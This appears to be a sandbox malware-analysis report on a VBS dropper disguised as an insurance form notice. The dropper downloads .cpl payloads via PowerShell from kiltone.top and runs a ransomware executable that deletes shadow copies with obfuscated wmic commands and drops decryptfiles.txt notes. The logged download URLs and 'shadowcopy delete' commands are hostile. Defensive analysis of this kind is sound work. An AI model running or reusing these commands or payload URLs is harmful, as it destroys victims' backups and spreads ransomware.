Source: file:///C:/Users/user/Downloads/downloaded.pdf	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.11:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.11:49782 version: TLS 1.2

Source:	Binary string: Z:\scvhost\Release\scvhost.pdb source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr
Source:	Binary string: Z:\lderd\Release\lderd.pdb source: fjeljies.cpl.16.dr
Source:	Binary string: Z:\scvhost\Release\scvhost.pdbd source: eryy65ty.exe, 00000022.00000000.1645551347.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 00000029.00000000.1829617145.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe, 0000002E.00000000.1911486180.000000000014B000.00000002.00000001.01000000.00000008.sdmp, eryy65ty.exe.31.dr

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\replacementmanifests\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\migration\wtr\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\replacementmanifests\microsoft-activedirectory-webservices\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\replacementmanifests\microsoft-client-license-platform-service-migration\
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File opened: D:\sources\replacementmanifests\hwvid-migration-2\

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\PING.EXE ping 1.1.1.1 -n 1 -w 3000

Source: Joe Sandbox View

IP Address: 239.255.255.250 239.255.255.250

Source: Joe Sandbox View

ASN Name: TELE-ASTeleAsiaLimitedHK TELE-ASTeleAsiaLimitedHK

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.3
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.42
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdfAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf HTTP/1.1Host: www.oldmutual.co.zaConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stelin/rwcla.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kiltone.topConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /stelin/Gosjeufon.cpl HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: kiltone.topConnection: Keep-Alive

Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: `https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: `https://www.youtube.com/ equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.oldmutual.co.za
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: kiltone.top

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 8659Connection: closeDate: Sat, 14 Dec 2024 12:59:44 GMTLast-Modified: Fri, 13 Dec 2024 15:13:14 GMTETag: "693e4a6385e015012881fbf286a7610b"x-amz-server-side-encryption: AES256Accept-Ranges: bytesServer: AmazonS3Content-Security-Policy: default-src 'self'; font-src 'self' data: https://use.typekit.net https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://tagmanager.google.com https://fonts.googleapis.com https://fonts.gstatic.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://embed.tawk.to https://salesiq.zoho.com https://css.zohostatic.com https://css.zohocdn.com/* https://css.zohocdn.com/salesiq/styles/fonts/cw/puvi/* https://css.zohocdn.com/salesiq/styles/fonts/cw/* https://css.zohocdn.com; style-src 'self' 'unsafe-inline' https://tagmanager.google.com https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://fonts.googleapis.com https://optimize.google.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://services.ominsure.co.za https://www.gstatic.com https://embed.tawk.to https://cdn.jsdelivr.net/* https://css.zohocdn.com https://css.zohostatic.com https://cdn.jsdelivr.net/* https://static.zohocdn.com; img-src 'self' data: https://p.typekit.net https://tawk.link https://tawk.link/* https://test-dms.oldmutual.com.gh https://test.interpayafrica.com https://test-dms.oldmutual.com.gh/* https://test.interpayafrica.com/* https://t.co https://www.google.co.za https://www.google.com https://www.gstatic.com https://ssl.gstatic.com https://maps.gstatic.com https://maps.googleapis.com https://eu-images.contentstack.com https://images.contentstack.io https://i.ytimg.com https://www.google-analytics.com https://www.facebook.com https://stats.g.doubleclick.net https://px.ads.linkedin.com https://p.adsymptotic.com https://lh3.googleusercontent.com https://www.brighttalk.com https://www.pages06.net https://vds.issproxy.com https://vds.issgovernance.com https://ir.tools.investis.com https://otp.tools.investis.com https://irs.tools.investis.com https://optimize.google.com https://ws.sessioncam.com https://services.ominsure.co.za https://*.fls.doubleclick.net https://sp.analytics.yahoo.com https://embed.tawk.to https://embed.tawk.to https://salesiq.zoho.com https://salesiq.zoho https://salesiq.zohopublic.com https://css.zohostatic.com https://css.zohostatic.com/* https://css.zohocdn.com https://analytics.twitter.com/1/i/* https://geo-tracker.trinadsp.co.za/* https:/

Source: cert9.db.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: cert9.db.34.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: cert9.db.34.dr	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: svchost.exe, 0000000A.00000002.2602166639.000002B6CE600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: cert9.db.34.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: cert9.db.34.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: cert9.db.34.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: cert9.db.34.dr	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000A.00000002.2602531104.000002B6CE6D5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2599826461.000002B6C8EA2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.2602334746.000002B6CE662000.00000004.00000020.00020000.00000000.sdmp, edb.log.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 0000000A.00000002.2602334746.000002B6CE693000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com:80
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: cert9.db.34.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: cert9.db.34.dr	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: cert9.db.34.dr	String found in binary or memory: http://x1.c.lencr.org/0
Source: cert9.db.34.dr	String found in binary or memory: http://x1.i.lencr.org/0
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://account.bellmedia.c
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://allegro.pl/
Source: prefs.js.34.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://bugzilla.mo
Source: prefs.js.34.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: rundll32.exe, 00000016.00000002.2011534286.000000000263A000.00000004.00000020.00020000.00000000.sdmp, fjeljies.cpl.16.dr	String found in binary or memory: https://digify.com/a/#/access/login
Source: fjeljies.cpl.16.dr	String found in binary or memory: https://digify.com/a/#/access/logincmd
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 0000000A.00000003.1349875196.000002B6CE3C0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: extensions.json.34.dr	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: prefs.js.34.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kiltone.td
Source: fjeljies.cpl.16.dr	String found in binary or memory: https://kiltone.top/stelin/Gosjeufon.cpl
Source: cmd.exe, 0000001D.00000002.1643205950.0000000002DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmp
Source: wscript.exe, wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1500936311.00000198F9520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://kiltone.top/stelin/rwcla.
Source: wscript.exe, 00000000.00000003.1491257753.00000198F76A0000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS.vbs	String found in binary or memory: https://kiltone.top/stelin/rwcla.cpl
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://login.live.com
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://login.microsoftonline.com
Source: extensions.json.34.dr	String found in binary or memory: https://screenshots.firefox.com/
Source: places.sqlite.34.dr	String found in binary or memory: https://support.mozilla.org
Source: places.sqlite.34.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: favicons.sqlite.34.dr	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: places.sqlite.34.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoa
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://twitter.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://weibo.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.aliexpress.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.ca/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.de/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.amazon.fr/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.avito.ru/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.baidu.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.bbc.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.ctrip.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.ebay.co.uk/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.ebay.de/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.google.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.google.com/complete/
Source: ca69b6fc-ff9f-4d48-bb41-c9832fdd5179.34.dr, 63479b8a-b3f3-4e99-9b36-3d051426e737.34.dr	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: data.safe.bin.34.dr	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=&
Source: data.safe.bin.34.dr	String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=&metrics#search.engine.default.verified
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.ifeng.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.iqiyi.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.leboncoin.fr/
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/
Source: favicons.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/about/
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: favicons.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/contribute/
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: places.sqlite.34.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.msn.com
Source: chromecache_594.11.dr	String found in binary or memory: https://www.oldmutual.co.za/news/internet-explorer-support
Source: wscript.exe, 00000000.00000002.1494571081.00000198F7605000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1500936311.00000198F9520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.oldmutual.co.za/v3/assets/blt0
Source: wscript.exe, 00000000.00000003.1491191170.00000198F767F000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS.vbs	String found in binary or memory: https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.olx.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.reddit.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.wykop.pl/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.youtube.com/
Source: 3870112724rsegmnoittet-es.sqlite.34.dr	String found in binary or memory: https://www.zhihu.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.11:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 45.125.67.168:443 -> 192.168.2.11:49782 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\pwciDK\pwci\..\..\Windows\pwci\pwci\..\..\system32\pwci\pwci\..\..\wbem\pwci\pwciD\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\kXortE\kXor\..\..\Windows\kXor\kXor\..\..\system32\kXor\kXor\..\..\wbem\kXor\kXort\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\OERBWD\OERB\..\..\Windows\OERB\OERB\..\..\system32\OERB\OERB\..\..\wbem\OERB\OERBW\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\gejGMa\gejG\..\..\Windows\gejG\gejG\..\..\system32\gejG\gejG\..\..\wbem\gejG\gejGM\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\FnbgXj\Fnbg\..\..\Windows\Fnbg\Fnbg\..\..\system32\Fnbg\Fnbg\..\..\wbem\Fnbg\FnbgX\..\..\wmic.exe shadowcopy delete
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	Process created: C:\Windows\System32\wbem\WMIC.exe c:\gBvDaO\gBvD\..\..\Windows\gBvD\gBvD\..\..\system32\gBvD\gBvD\..\..\wbem\gBvD\gBvDa\..\..\wmic.exe shadowcopy delete

May encrypt documents and pictures (Ransomware)

Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\appdata\local\temp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\afwaafrxko\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\bpmlnobvsb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\facwlrwhgg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\kzwfnrxyki\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\mqawxuyaik\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\nwtvcdumob\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\onbqclyspu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\qvtvnibksd\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\tqdgenuhwp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\ummbdneqbn\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\wkxewiotxi\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\desktop\xqachmzihu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\afwaafrxko\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\bpmlnobvsb\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\facwlrwhgg\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\kzwfnrxyki\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\mqawxuyaik\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\my music\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\my pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\my videos\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\nwtvcdumob\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\onbqclyspu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\qvtvnibksd\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\tqdgenuhwp\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\ummbdneqbn\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\wkxewiotxi\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\documents\xqachmzihu\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\pictures\camera roll\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\user\pictures\saved pictures\decryptfiles.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exe	File created: c:\users\public\decryptfiles.txt
